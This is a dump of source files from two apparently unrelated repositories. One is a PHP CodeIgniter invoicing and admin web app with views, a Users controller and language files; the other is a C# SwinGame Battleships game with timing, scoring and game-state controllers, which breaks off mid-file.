$('#toolbar_delete').hide();
});
$('#toolbar_add').click(function(){$('.products').toggle();});
$('#toolbar_return').click(function(){$('.products').toggle();});
});
//-->
</script>
<?=form_open()?>
<div class="row">
<div class="span4">
<?php $error = form_error('customer_id')?'error':'' ?>
<div class="control-group <?=$error?>">
<?=form_label(lang('invoices_form_customer') . ' *', 'customer',
$label_attributes)?>
<div class="controls">
<?=form_dropdown('customer_id', $field['customers'],
$field['customer_id'])?>
</div>
</div>
</div>
</div>
<label>Products</label>
<div class="container-fluid well products">
<div class="row">
<div class="span">
<span id="toolbar_add" class="btn">
<i class="icon-plus"></i>
<?=lang('toolbar_add_item')?>
</span>
<span id="toolbar_delete" class="btn btn-danger hide">
<i class="icon-remove icon-white"></i>
<?=lang('toolbar_delete_items')?>
</span>
</div>
</div>
<div class="row-fluid">
<div class="span">
<table class="table table-condensed table-hover" id="datatable_invoices_lines">
<thead>
<tr>
<th>id</th><th>Name</th><th>Description</th><th>Quantity</th><th>Price</th>
</tr>
</thead>
<tbody></tbody>
<tfoot>
<tr>
<td></td><td></td><td></td><td></td><td id="total" style="font-weight:bolder;">0.00</td>
</tr>
</tfoot>
</table>
</div>
</div>
</div>
<div class="container-fluid well products hide">
<div class="row-fluid">
<div class="span">
<span id="toolbar_return" class="btn">
<i class="icon-arrow-left"></i>
Return
</span>
<?=$products?>
</div>
</div>
</div>
Notes<br>
<textarea></textarea>
<p class="muted">* Required field</p>
<div class="form-actions">
<?=form_button($submit)?>
<div class="span pull-right">
<?php if($this->uri->rsegment(3)) : ?>
<?=form_button($delete)?>
<?php endif; ?>
</div>
</div>
<?=form_close()?>
<file_sep><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* Users Class
*
* @author marc
*
*/
class Users extends MY_Controller
{
/**
* Constructor method
*/
public function __construct()
{
parent::__construct();
$this->lang->load( 'users' );
$this->load->model( 'users_model' );
}
// -----------------------------------------------------------------------
/**
* Index method
*
* @access public
*/
public function index()
{
$this->_load_view( 'index_view' );
}
// --------------------------------------------------------------------
/**
* get_table method
*
* @access public
*/
public function get_table()
{
$result = $this->users_model->get_table();
$this->output
->set_content_type( 'application/json' )
->set_output( json_encode( $result ) );
}
// --------------------------------------------------------------------
/**
* get_table method
*
* @access public
*/
public function get_table1()
{
$rows = array(
array( "id" => 0, "texto" => "uno", "numero" => 6 ),
array( "id" => 0, "texto" => "uno", "numero" => 6 ),
array( "id" => 0, "texto" => "uno", "numero" => 6 ),
array( "id" => 0, "texto" => "uno", "numero" => 6 ),
array( "id" => 0, "texto" => "uno", "numero" => 6 ),
array( "id" => 0, "texto" => "uno", "numero" => 6 ),
array( "id" => 0, "texto" => "uno", "numero" => 6 ),
array( "id" => 0, "texto" => "uno", "numero" => 6 ),
array( "id" => 0, "texto" => "uno", "numero" => 6 ),
array( "id" => 0, "texto" => "uno", "numero" => 6 )
);
$result = array(
"total" => 800,
"rows" => $rows
);
$this->output
->set_content_type( 'application/json' )
->set_output( json_encode( $result ) );
}
// --------------------------------------------------------------------
/**
* get_table method
*
* @access public
*/
public function test_ajax()
{
$result = array("uno"=>1,"dos"=>2);
$this->output
->set_content_type( 'application/json' )
->set_output( json_encode( $result ) );
}
// --------------------------------------------------------------------
/**
* Add method
*
* @access public
*/
public function add()
{
$this->load->helper( array( 'form' ) );
$this->_set_form_values();
if( $this->input->post() ) {
$this->_set_form_rules();
if( $this->form_validation->run() ) {
$data = $this->_get_form_values();
/*$this->load->library( array( 'ion_auth' ) );
$users_id = $this->ion_auth->register(
$data['username'],
$data['password'],
'<EMAIL>'
);
print_r($users_id);die;*/
set_success( 'Registro guardado correctamente.' );
/*if( $this->users_model->insert( $data ) === TRUE ) {
set_success( 'Registro guardado correctamente.', TRUE );
redirect( get_current_controller( 'add' ) );
}
set_error( $this->users_model->get_error() );*/
}
}
$this->_load_view( 'edit_view' );
}
// --------------------------------------------------------------------
/**
* Edit method
*
* Pantalla para la edicion, http://.../edit/?
*
* @access public
*/
public function edit()
{
$this->load->helper( array( 'form' ) );
$id = $this->uri->rsegment( 3 );
if( $id === FALSE ) {
redirect( get_current_controller() );
}
$this->_set_form_values();
if( $this->input->post( 'delete' ) ) {
if( $this->users_model->delete( $id ) === TRUE ) {
set_success( 'Registro borrado correctamente.', TRUE );
redirect( get_current_controller() );
}
set_error( $this->users_model->get_error() );
} elseif( $this->input->post() ) {
$this->_set_form_rules();
if( $this->form_validation->run() ) {
$data = $this->_get_form_values();
if( $this->users_model->update( $id, $data ) === FALSE ) {
set_error( $this->users_model->get_error() );
} else {
set_success( 'Registro modificado correctamente.' );
}
}
} else {
$data = $this->users_model->get_by_id( $id );
if($data === FALSE) {
//set_warning( "No se ha encontrado el registro.", TRUE );
//redirect( get_current_controller() );
}
$this->_set_form_values( $data );
}
$this->_load_view( 'edit_view' );
}
// --------------------------------------------------------------------
/**
* _get_post method
*
* Recoge los datos del formulario para anadir a la bbdd
*
* @access private
* @return array
*/
private function _get_form_values()
{
$data['username'] = $this->input->post( 'username' );
$data['password'] = $this->input->post( 'password' );
return $data;
}
// --------------------------------------------------------------------
/**
* _set_form_values method
*
* Rellena los valores de los campos del formulario
*
* @access private
* @param array
*/
private function _set_form_values( $data = array() )
{
// default values
$this->data['field']['username'] = '';
$this->data['field']['password'] = '';
// values from post
if( $this->input->post() ) {
$this->data['field'] = array_merge( $this->data['field'], $this->input->post() );
}
// values from data
$this->data['field'] = array_merge( $this->data['field'], $data );
}
// --------------------------------------------------------------------
/**
* _set_form_rules method
*
* Comprueba que los datos recibidos del formulario sean correctos para
* la validacion.
*
* @access private
*/
private function _set_form_rules()
{
$this->load->library( array( 'form_validation' ) );
$this->form_validation->set_rules(
'username',
lang( 'form_label_username' ),
"trim|required|min_length[5]|max_length[50]"
);
}
}<file_sep><?php
// GENERAL
$lang['general_error'] = 'Error';
$lang['are_you_sure'] = 'Are you sure?';
// AUTH
$lang['auth_incorrect'] = 'Login incorrect';
$lang['auth_success'] = 'Login success';
$lang['auth_logout'] = 'Logout';
// NAV
$lang['nav_users'] = 'Users';
$lang['nav_messages'] = 'Messages';
$lang['nav_logout'] = 'Logout';
// TOOLBAR
$lang['toolbar_add_item'] = 'Add New Item';
$lang['toolbar_delete_items'] = 'Delete selected items';
$lang['toolbar_delete_all'] = 'Delete all items';
// XMLDB
$lang['xml_db_load_error'] = 'Failed to open file.';
$lang['xml_db_update_error'] = 'Failed to update item.';
$lang['xml_db_update_success'] = 'Item updated';
$lang['xml_db_save_error'] = 'Failed to save file.';
$lang['xml_db_item_not_found'] = 'Item not found.';
$lang['xml_db_item_saved'] = 'Item saved.';
$lang['xml_db_item_deleted'] = 'Item/s deleted.';
$lang['xml_db_error_delete'] = 'Error deleting items.';
// INVOICES FORM FIELDS
$lang['invoices_form_customer'] = 'Customer';
// PRODUCTS FORM FIELDS
$lang['products_form_name'] = 'Name';
$lang['products_form_description'] = 'Description';
$lang['products_form_unit'] = 'Unit';
$lang['products_form_price'] = 'Price';
// CUSTOMERS FORM FIELDS
$lang['customers_form_name'] = 'Name';
$lang['customers_form_email'] = 'E-Mail';
// PAYMENTS FORM FIELDS
$lang['payments_form_description'] = 'Description';
// TAX FORM FIELDS
$lang['taxes_form_description'] = 'Description';
$lang['taxes_form_rate'] = 'Rate';
// USER FORM FIELDS
$lang['user_form_login'] = 'Login';
$lang['user_form_password'] = '<PASSWORD>';
$lang['user_form_confirm_password'] = '<PASSWORD>';
$lang['user_form_sex'] = 'Sex';
$lang['user_form_sex_1'] = 'Woman';
$lang['user_form_sex_2'] = 'Man';
$lang['user_form_sex_3'] = 'Other';
$lang['user_form_color'] = 'Favorite Color';
$lang['user_form_color_1'] = 'black';
$lang['user_form_color_2'] = 'blue';
$lang['user_form_color_3'] = 'brown';
$lang['user_form_color_4'] = 'gray';
$lang['user_form_color_5'] = 'green';
$lang['user_form_color_6'] = 'orange';
$lang['user_form_color_7'] = 'pink';
$lang['user_form_color_8'] = 'red';
$lang['user_form_color_9'] = 'white';
$lang['user_form_color_10'] = 'yellow';
$lang['user_form_description'] = 'Description';
$lang['user_form_active'] = 'Active';
// GENERAL FORM
$lang['form_multiselect'] = 'options selected';
$lang['form_submit'] = 'Submit';
$lang['form_delete'] = 'Delete';<file_sep><?php
$lang['upload_userfile_not_set'] = ' No s\'ha pogut trobar una variable de tipus POST anomenada userfile.';
$lang['upload_file_exceeds_limit'] = 'L\'arxiu pujat excedeix la mida màxima permesa per la configuració del PHP.';
$lang['upload_file_exceeds_form_limit'] = 'L\'arxiu pujat excedeix la mida màxima permesa per l\'enviament mitjançant formulari.';
$lang['upload_file_partial'] = 'L\'arxiu només ha estat pujat parcialment.';
$lang['upload_no_temp_directory'] = 'No s\'ha pogut localitzar la carpeta temporal.';
$lang['upload_unable_to_write_file'] = 'No s\'ha pogut escriure l\'arxiu en el disc.';
$lang['upload_stopped_by_extension'] = 'S\'ha cancel·lat la pujada de l\'arxiu degut a la seva extensió.';
$lang['upload_no_file_selected'] = 'No ha seleccionat cap arxiu per pujar.';
$lang['upload_invalid_filetype'] = 'El tipus d\'arxiu que està intentant pujar no està permès';
$lang['upload_invalid_filesize'] = 'L\'arxiu que està intentant pujar excedeix la mida permesa';
$lang['upload_invalid_dimensions'] = 'La imatge que està pujant excedeix les mides màximes permeses d\'alçada i/o amplada';
$lang['upload_destination_error'] = 'S\'han trobat problemes mentre s\'intentava moure l\'arxiu al seu directori final.';
$lang['upload_no_filepath'] = 'La direcció per pujar l\'arxiu sembla no vàlida.';
$lang['upload_no_file_types'] = 'Encara no s\'ha especificat cap tipus d\'arxiu permès.';
$lang['upload_bad_filename'] = 'L\'arxiu enviat ja existeix al servidor.';
$lang['upload_not_writable'] = 'Sembla que no es pot escriure al directori de destinació.';
?><file_sep> </div>
</div>
</div> <!-- container -->
<!-- langargs($this->lang->line('page_loaded'), $this->benchmark->elapsed_time())?> -->
<footer class="footer text-center">
<p>@ <?php echo $this->config->item( 'title' ); ?> v1.0.0 2015</p>
</footer>
<?php if( $alert = get_alert() ) : ?>
<script type="text/javascript">
$(document).ready(function() {
$.appAlert("<?php echo $alert['type']; ?>", "<?php echo $alert['message']; ?>");
});
</script>
<?php endif; ?>
</body>
</html><file_sep><script type="text/javascript">
$(document).ready(function() {
/* Init DataTables */
var oTable = $('#datatable_messages').dataTableInit({
"aaSorting": [[ 0, "desc" ]],
"aoColumnDefs": []
});
$("#allbtn").click(function() {oTable.fnFilter('')});
$("#infobtn").click(function() {oTable.fnFilter('info')});
$("#successbtn").click(function() {oTable.fnFilter('success')});
$("#warningbtn").click(function() {oTable.fnFilter('warning')});
$("#errorbtn").click(function() {oTable.fnFilter('error')});
$('div.dataTables_filter input').focus();
});
</script>
<div class="row">
<div class="span">
<?=anchor(current_url().'/delete', '<i class="icon-remove icon-white"></i> ' .
lang('toolbar_delete_all'),
array('class'=>'btn btn-danger',
'onclick'=>'return confirm(\''.lang('are_you_sure').'\')'))?>
</div>
<div class="span">
<div class="btn-group">
<span id="allbtn" class="btn">all</span>
<span id="infobtn" class="btn">info</span>
<span id="successbtn" class="btn">success</span>
<span id="warningbtn" class="btn">warning</span>
<span id="errorbtn" class="btn">error</span>
</div>
</div>
</div>
<?=$table?>
<file_sep><?=doctype('html5')?>
<html lang="en">
<head>
<?=meta('Content-type', 'text/html; charset=utf-8', 'equiv')?>
<title><?=$this->config->item('title')?></title>
<?=link_tag('assets/css/bootstrap.min.css')?>
<?=link_tag('assets/css/style.css')?>
<script type="text/javascript" src="<?=base_url('assets/js/jquery.js')?>"></script>
<script type="text/javascript" src="<?=base_url('assets/js/bootstrap.min.js')?>"></script>
<script type="text/javascript" src="<?=base_url('assets/js/jquery.dataTables.min.js')?>"></script>
<script type="text/javascript" src="<?=base_url('assets/js/jquery.multiSelect.js')?>"></script>
<script type="text/javascript" src="<?=base_url('assets/js/default.js')?>"></script>
</head>
<body>
<div class="container">
<?php if(logged_in()):?>
<div class="page-header">
<h1>CIMAIN</h1>
</div>
<?php endif ?>
<file_sep><div class="navbar">
<div class="navbar-inner">
<ul class="nav">
<li class="dropdown">
<a class="dropdown-toggle disabled" data-toggle="dropdown">Money
<b class="caret"></b>
</a>
<ul class="dropdown-menu">
<li><a href="<?=site_url('money/invoices')?>">Invoices</a></li>
<li><a href="<?=site_url('money/payments')?>">Payments</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle disabled" data-toggle="dropdown">Stock
<b class="caret"></b>
</a>
<ul class="dropdown-menu">
<li><a href="<?=site_url('stock/products')?>">Products</a></li>
<li><a href="<?=site_url('stock/taxes')?>">Taxes</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle disabled" data-toggle="dropdown">People
<b class="caret"></b>
</a>
<ul class="dropdown-menu">
<li><a href="<?=site_url('people/customers')?>">Customers</a></li>
<li><a href="<?=site_url('people/users')?>">Users</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle disabled" data-toggle="dropdown">Settings
<b class="caret"></b>
</a>
<ul class="dropdown-menu">
<li><a href="<?=site_url('settings/messages')?>">Messages</a></li>
</ul>
</li>
</ul>
<ul class="nav pull-right">
<li><a href="<?=site_url('auth/logout')?>">Logout</a></li>
</ul>
</div>
</div><file_sep><header class="navbar navbar-static-top bs-docs-nav navbar-inverse" id="top" role="banner">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse"
data-target=".navbar-collapse">
<span class="icon-bar"></span> <span class="icon-bar"></span> <span
class="icon-bar"></span>
</button>
<a class="navbar-brand" href="<?php echo site_url(); ?>">
<?php echo $this->config->item('title'); ?>
</a>
</div>
<div class="navbar-collapse collapse">
<ul class="nav navbar-nav navbar-right">
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
<span class="glyphicon glyphicon-user"></span> Language
<b class="caret"></b>
</a>
<ul class="dropdown-menu">
<li>
<a href="<?php echo site_url( 'language/catalan' ); ?>">
<span class="glyphicon glyphicon-off"></span> Catalan
</a>
</li>
<li>
<a href="<?php echo site_url( '../auth/home/logout' ); ?>">
<span class="glyphicon glyphicon-off"></span> English
</a>
</li>
</ul>
</li>
</ul>
</div>
</div>
</header>
<file_sep><?php echo doctype( 'html5' ); ?>
<html lang="es">
<head>
<?php echo meta( 'Content-type', 'text/html; charset=utf-8', 'equiv' ); ?>
<!-- start: Mobile Specific -->
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<!-- end: Mobile Specific -->
<title><?php echo $this->config->item('title'); ?></title>
<?php echo link_tag( '../assets/lib/bootstrap-3.3.4/css/bootstrap.min.css' ); ?>
<?php echo link_tag( 'assets/css/style.css' ); ?>
<script type="text/javascript" src="<?php echo base_url( '../assets/lib/jquery-2.1.3/jquery-2.1.3.min.js' ); ?>"></script>
<script type="text/javascript" src="<?php echo base_url( '../assets/lib/bootstrap-3.3.4/js/bootstrap.min.js' ); ?>"></script>
<link rel="shortcut icon" href="<?php echo base_url( 'favicon.ico' ); ?>">
</head>
<body>
<?php echo $this->load->view( 'navbar_view' ); ?>
<div class="container-fluid"><file_sep>
</div> <!-- container -->
<!-- langargs($this->lang->line('page_loaded'), $this->benchmark->elapsed_time())?> -->
<?php if(logged_in()):?>
<footer class="footer">
</footer>
<?php endif ?>
</body>
</html><file_sep><?php
// GENERAL
$lang['are_you_sure'] = 'Are you sure?';
$lang['add'] = 'Add';
$lang['edit'] = 'Edit';
// GENERAL FORM
$lang['form_button_submit'] = 'Submit';
$lang['form_button_back'] = 'Back';
$lang['form_button_delete'] = 'Delete'; | 0fd6be1b45bc9c96c84d254fd58fcf056994f413 | [
"JavaScript",
"PHP"
] | 62 | PHP | cbmarc-labs/cimain | 505956751c88c2216b846d4dc2bc788eff94fb83 | f89eb2dc27a1b1726a56dbb6ca8db310034650e4 |
refs/heads/master | <repo_name>IsaacAsante/Battleships<file_sep>/src/TimeController.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using SwinGameSDK;
using static GameController;
static class TimeController
{
/// <summary>
/// IA - Create a new timer to keep track of the time elapsed between the human player's attempt.
/// </summary>
static Timer timer = SwinGame.CreateTimer();
static List<uint> timeRecords = new List<uint>();
static List<int> warnings = new List<int>();
static int warningNumber;
/// <summary>
/// IA - This method clears any saved times in the TimesRecords Collection, then resets and starts the timer to ensure a fresh start.
/// </summary>
public static void startTimer()
{
timeRecords.Clear();
timer.Reset();
timer.Start();
}
/// <summary>
/// IA - This method screenshots the time passed (in milliseconds) since the timer was started, and adds it to the TimeRecords collection.
/// </summary>
public static void recordTime()
{
timeRecords.Add(timer.Ticks);
}
/// <summary>
/// IA - This method checks how many time stamps (in milliseconds) have been recorded, as a means to calculate the period of time between each of the human player's clicks. If the waiting time is too long, it records a warning by adding the number 1 into the Warnings Collection. Otherwise, it adds the number 0.
/// </summary>
public static void recordWarnings()
{
// There should at least be more than one record saved for the time comparison to be made.
if (timeRecords.Count > 1)
{
uint difference = timeRecords[timeRecords.Count - 1] - timeRecords[timeRecords.Count - 2];
if (difference > 5000)
{
warnings.Add(1); // IA - 1 represents a true warning.
} else
{
warnings.Add(0); // IA - 0 represents a false warning.
}
}
}
/// <summary>
/// This boolean method indicates whether the player is guessing (or making attempts) fast enough
/// </summary>
/// <returns>True if the interval between the player's guesses are less than the limit set, False otherwise.</returns>
public static bool FasterAttempts()
{
if (warnings.Count > 2)
{
if (warnings[warnings.Count - 1] == 0 && warnings[warnings.Count - 2] == 0)
{
return true;
}
}
return false;
}
/// <summary>
/// This method should be used after a new state or at the end of a game, to clear the time interval tracking and warnings recorded.
/// </summary>
public static void RestartTracking()
{
timeRecords.Clear();
warnings.Clear();
warningNumber = 0;
}
/// <summary>
/// IA - This method may be used anywhere in the program to determine the number of milliseconds that have passed since the timer was started.
/// </summary>
/// <returns>The timer's running time in milliseconds.</returns>
public static double timeElapsed()
{
return (double) timer.Ticks;
}
/// <summary>
/// IA - This method serves to specify how many warning messages the human player is entitled to. The number return is used to output warning messages on the screen, before the game pauses, in the event the maximum number of consecutive delayed attempts is reached.
/// </summary>
/// <returns>The number used to output the warning messages.</returns>
public static int WarningMessage()
{
// IA - if there are only two consecutive messages...
if (warnings.Count > 1
&& warnings[warnings.Count - 1] == 1
&& warnings[warnings.Count - 2] == 1)
{
warningNumber = 1;
}
// IA - if it cascades to a third consecutive message...
if (warnings.Count > 2
&& warnings[warnings.Count - 1] == 1
&& warnings[warnings.Count - 2] == 1
&& warnings[warnings.Count - 3] == 1)
{
warningNumber = 2;
}
// OPTIONAL: If it cascades to a fourth consecutive message...
if (warnings.Count > 3
&& warnings[warnings.Count - 1] == 1
&& warnings[warnings.Count - 2] == 1
&& warnings[warnings.Count - 3] == 1
&& warnings[warnings.Count - 4] == 1)
{
warningNumber = 3;
}
return warningNumber;
}
/// <summary>
/// IA - This method verifies if enough true (1) or false (0) warnings have been recorded, then checks if the last entries in the Warnings Collection are indeed true warnings. If they are, then it indicates that the game should stop running (i.e. the game should be paused), as the human player is likely distracted.
/// </summary>
/// <returns>True if there aren't enough consecutive warnings registered. Otherwise, False.</returns>
public static bool decideGameRunning()
{
if (warnings.Count >= 4)
if (warnings[warnings.Count - 1] == 1 &&
warnings[warnings.Count - 2] == 1 &&
warnings[warnings.Count - 3] == 1 &&
warnings[warnings.Count - 4] == 1)
{
return false;
}
return true;
}
/// <summary>
/// IA - This method breaks the count of consecutively delayed attempts from the human player, when the latter makes a successful hit. This allows the player to get more warnings before the game pauses again.
/// </summary>
public static void BreakStraightCount()
{
warnings.Add(0);
}
/// <summary>
/// IA - This method pauses the game and clears the Warnings Collection.
/// </summary>
public static void PauseGame()
{
RestartTracking();
AddNewState(GameState.ViewingGameMenu); // Place the game in Pause mode.
}
}<file_sep>/README.md
# README #
**_Rewritten by <NAME> on 14/11/2018_**
This project is an implementation of the classic Battleships game, developed using the SwinGame library. It has been modified and extended to introduce new features and modify existing ones as well in the process.
## Enhancements ##
New features introduced include, but are not limited to:
* Time tracking between human player attacks to output reminders to guess faster, so as to avoid automatic pausing of the game (to make the game a bit more pressurizing)
* Display of live scores (out of a possible 165) during a game
* Display of live rankings based on the High Scorers list during a game (available scores are read from the _highscores.txt_ file)
* Restart options
* Sound muting/unmuting
* Hints for the number of enemy ships left to destroy
## How to run the game ##
To run the game without an IDE such as Xamarin Studio or Microsoft Visual Studio, follow the steps below:
1. Clone the repository on your local machine
2. Enter the Battleships folder containing all the raw files
3. Go to the bin folder
4. Enter the Debug folder
5. Double-click on the BattleShips.exe file
The application should open, and you should be all set for a wild challenge on the sea!<file_sep>/src/DiscoveryController.cs
using Microsoft.VisualBasic;
using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using SwinGameSDK;
using static GameController;
using static UtilityFunctions;
using static GameResources;
using static TimeController;
using static DeploymentController;
using static EndingGameController;
using static MenuController;
using static HighScoreController;
/// <summary>
/// The battle phase is handled by the DiscoveryController.
/// </summary>
static class DiscoveryController
{
/// <summary>
/// Handles input during the discovery phase of the game.
/// </summary>
/// <remarks>
/// Escape opens the game menu. Clicking the mouse will
/// attack a location.
/// </remarks>
public static void HandleDiscoveryInput()
{
if (SwinGame.KeyTyped(KeyCode.vk_ESCAPE)) {
AddNewState(GameState.ViewingGameMenu);
}
if (SwinGame.MouseClicked(MouseButton.LeftButton)) {
recordTime(); // IA - record the time of every attempt using the started timer.
recordWarnings(); // IA - Keep count of all delayed attempts to issue warnings.
if (SwinGame.KeyTyped (KeyCode.vk_m)) {
SwinGame.PauseMusic ();
}
if (SwinGame.KeyTyped (KeyCode.vk_u)) {
SwinGame.ResumeMusic ();
}
DoAttack();
}
}
/// <summary>
/// Attack the location that the mouse if over.
/// </summary>
private static void DoAttack()
{
Point2D mouse = default(Point2D);
mouse = SwinGame.MousePosition();
//Calculate the row/col clicked
int row = 0;
int col = 0;
row = Convert.ToInt32(Math.Floor((mouse.Y - FIELD_TOP) / (CELL_HEIGHT + CELL_GAP)));
col = Convert.ToInt32(Math.Floor((mouse.X - FIELD_LEFT) / (CELL_WIDTH + CELL_GAP)));
if (row >= 0 & row < HumanPlayer.EnemyGrid.Height) {
if (col >= 0 & col < HumanPlayer.EnemyGrid.Width) {
Attack(row, col);
}
}
}
/// <summary>
/// Draws the game during the attack phase.
/// </summary>s
public static void DrawDiscovery()
{
const int SCORES_LEFT = 172;
const int SHOTS_TOP = 157;
const int HITS_TOP = 206;
const int SPLASH_TOP = 256;
const int SCORES_INFO_DISPLAY_TOP = 290; // IA - Display the player's current score
const int SCORES_INFO_DISPLAY_LEFT = 30;
String playerMessage = "";
if ((SwinGame.KeyDown(KeyCode.vk_LSHIFT) | SwinGame.KeyDown(KeyCode.vk_RSHIFT)) & SwinGame.KeyDown(KeyCode.vk_c)) {
DrawField(HumanPlayer.EnemyGrid, ComputerPlayer, true);
} else {
DrawField(HumanPlayer.EnemyGrid, ComputerPlayer, false);
}
DrawSmallField(HumanPlayer.PlayerGrid, HumanPlayer);
DrawMessage();
LoadScores(); // IA- load the scores first so that the ScoresList dynamic list is not empty.
SwinGame.DrawText(HumanPlayer.Shots.ToString(), Color.White, GameFont("Menu"), SCORES_LEFT, SHOTS_TOP);
SwinGame.DrawText(HumanPlayer.Hits.ToString(), Color.White, GameFont("Menu"), SCORES_LEFT, HITS_TOP);
SwinGame.DrawText(HumanPlayer.Missed.ToString(), Color.White, GameFont("Menu"), SCORES_LEFT, SPLASH_TOP);
SwinGame.DrawText("Your score: " + HumanPlayer.Score.ToString() + "/ 165", Color.Yellow, GameFont("Courier"), SCORES_INFO_DISPLAY_LEFT, SCORES_INFO_DISPLAY_TOP); // IA - Display the current Player's score (in real-time).
// IA - iterate through the saved high scores and determine where the player ranks.
for (int i = ScoresList.Count - 1; i >= 0; i--)
{
if (ScoresList[i].Value > HumanPlayer.Score)
{
if (i == ScoresList.Count - 1)
{
playerMessage = "Try and enter the Top 10."; // IA - Encourage the player if their score is below that of the lowest-ranked player in the highscores.txt file.
}
}
else
{
if (i - 1 >= 0) // IA - This condition ensures that the calculation below does not trigger an IndexOutOfRangeException exception when i = 0.
{
playerMessage = "Your rank: #" + (i + 1).ToString() + ". " + (ScoresList[i - 1].Value - HumanPlayer.Score).ToString() + " more points for #" + (i).ToString(); // IA - perform calculations between the player's current score and that of the next higher-ranked player from the highscores.txt file, to determine how many more points are needed to reach the next rank in the High Scorers' list.
}
if (i == 0 && ScoresList[i].Value < HumanPlayer.Score)
{
playerMessage = "You're #1! Keep it up!"; // IA - if the player's score is higher than the first player in the High Scores list, inform them.
}
}
}
SwinGame.DrawText(playerMessage, Color.Yellow, GameFont("Courier"), SCORES_INFO_DISPLAY_LEFT, SCORES_INFO_DISPLAY_TOP + 20); // IA - Display the ranking messages (in yellow text color) to the player in real-time, as the game enfolds.
}
}
//=======================================================
//Service provided by Telerik (www.telerik.com)
//Conversion powered by NRefactory.
//Twitter: @telerik
//Facebook: facebook.com/telerik
//=======================================================
<file_sep>/src/EndingGameController.cs
using Microsoft.VisualBasic;
using System;
using System.Collections;
using System.Collections.Generic;
//using System.Data;
using System.Diagnostics;
using SwinGameSDK;
using static GameController;
using static UtilityFunctions;
using static GameResources;
using static DeploymentController;
using static DiscoveryController;
using static MenuController;
using static HighScoreController;
/// <summary>
/// The EndingGameController is responsible for managing the interactions at the end
/// of a game.
/// </summary>
static class EndingGameController
{
/// <summary>
/// Draw the end of the game screen, shows the win/lose state
/// </summary>
public static void DrawEndOfGame()
{
DrawField(ComputerPlayer.PlayerGrid, ComputerPlayer, true);
DrawSmallField(HumanPlayer.PlayerGrid, HumanPlayer);
if (HumanPlayer.IsDestroyed) {
SwinGame.DrawTextLines("YOU LOSE!", Color.White, Color.Transparent, GameFont("ArialLarge"), FontAlignment.AlignCenter, 0, 250, SwinGame.ScreenWidth(), SwinGame.ScreenHeight());
SwinGame.DrawBitmap (GameImage ("GameOverLose"), 0, 0); //APS
SwinGame.DrawTextLines("Press 'R' to replay, press 'N'to go back to main menu", Color.White, Color.DarkBlue, GameFont("Replay"), FontAlignment.AlignCenter, 0, 402, SwinGame.ScreenWidth(), SwinGame.ScreenHeight()); //APS
} else {
SwinGame.DrawTextLines("-- WINNER --", Color.White, Color.Transparent, GameFont("ArialLarge"), FontAlignment.AlignCenter, 0, 250, SwinGame.ScreenWidth(), SwinGame.ScreenHeight());
SwinGame.DrawBitmap (GameImage ("GameOverWin"), 0, 0); //APS
}
}
/// <summary>
/// Handle the input during the end of the game. Any interaction
/// will result in it reading in the highsSwinGame.
/// </summary>
public static void HandleEndOfGameInput()
{
if (SwinGame.MouseClicked(MouseButton.LeftButton) && !HumanPlayer.IsDestroyed|| SwinGame.KeyTyped(KeyCode.vk_RETURN) || SwinGame.KeyTyped(KeyCode.vk_ESCAPE)) {
ReadHighScore(HumanPlayer.Score);
EndCurrentState();
}
if (SwinGame.KeyTyped(KeyCode.vk_r) && HumanPlayer.IsDestroyed) //APS if the human player lost they can press 'r' key to replay the game
{
EndCurrentState(); // IA - Fix for Almira's Game Restart enhancement. Ending the state before restarting the game.
StartGame(); //APS
}
if (SwinGame.KeyTyped(KeyCode.vk_n) && HumanPlayer.IsDestroyed) //APS if the human player lost and doesnt want to replay the game they can press the 'n' key to go back to main menu
{
EndCurrentState();
}
}
}
//=======================================================
//Service provided by Telerik (www.telerik.com)
//Conversion powered by NRefactory.
//Twitter: @telerik
//Facebook: facebook.com/telerik
//=======================================================
<file_sep>/src/GameController.cs
using Microsoft.VisualBasic;
using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using SwinGameSDK;
using static UtilityFunctions;
using static GameResources;
using static DeploymentController;
using static DiscoveryController;
using static EndingGameController;
using static MenuController;
using static HighScoreController;
using static TimeController; //IA - adding the Timer controller
/// <summary>
/// The GameController is responsible for controlling the game,
/// managing user input, and displaying the current state of the
/// game.
/// </summary>
public static class GameController
{
private static BattleShipsGame _theGame;
private static Player _human;
private static AIPlayer _ai;
public static Stack<GameState> _state = new Stack<GameState>();
private static AIOption _aiSetting;
private static int warningSign = 0;
private static int warningSignAi = 0;
private static string gameMessage = "";
private static string hintGameMessage = "";
private static int boatLeft = 5; //Ay - Variable to count the remaining boats
/// <summary>
/// Returns the current state of the game, indicating which screen is
/// currently being used
/// </summary>
/// <value>The current state</value>
/// <returns>The current state</returns>
public static GameState CurrentState {
get { return _state.Peek(); }
}
/// <summary>
/// Returns the human player.
/// </summary>
/// <value>the human player</value>
/// <returns>the human player</returns>
public static Player HumanPlayer {
get { return _human; }
}
/// <summary>
/// Returns the computer player.
/// </summary>
/// <value>the computer player</value>
/// <returns>the conputer player</returns>
public static Player ComputerPlayer {
get { return _ai; }
}
static GameController()
{
//bottom state will be quitting. If player exits main menu then the game is over
_state.Push(GameState.Quitting);
//at the start the player is viewing the main menu
_state.Push(GameState.ViewingMainMenu);
}
/// <summary>
/// Starts a new game.
/// </summary>
/// <remarks>
/// Creates an AI player based upon the _aiSetting.
/// </remarks>
public static void StartGame ()
{
if (_theGame != null)
{
RestartTracking(); // IA - reset all the warning trackers
EndGame();
}
//Create the game
_theGame = new BattleShipsGame ();
startTimer (); // IA - start the timer once a Battleship match begins.
//create the players
switch (_aiSetting) {
case AIOption.Medium:
_ai = new AIMediumPlayer (_theGame);
break;
// IA - redundant code as the Hard player mode is repeated below.
case AIOption.Hard:
_ai = new AIHardPlayer (_theGame);
break;
default:
_ai = new AIHardPlayer (_theGame);
break;
}
_human = new Player (_theGame);
//AddHandler _human.PlayerGrid.Changed, AddressOf GridChanged
_ai.PlayerGrid.Changed += GridChanged;
_theGame.AttackCompleted += AttackCompleted;
AddNewState (GameState.Deploying);
}
/// <summary>
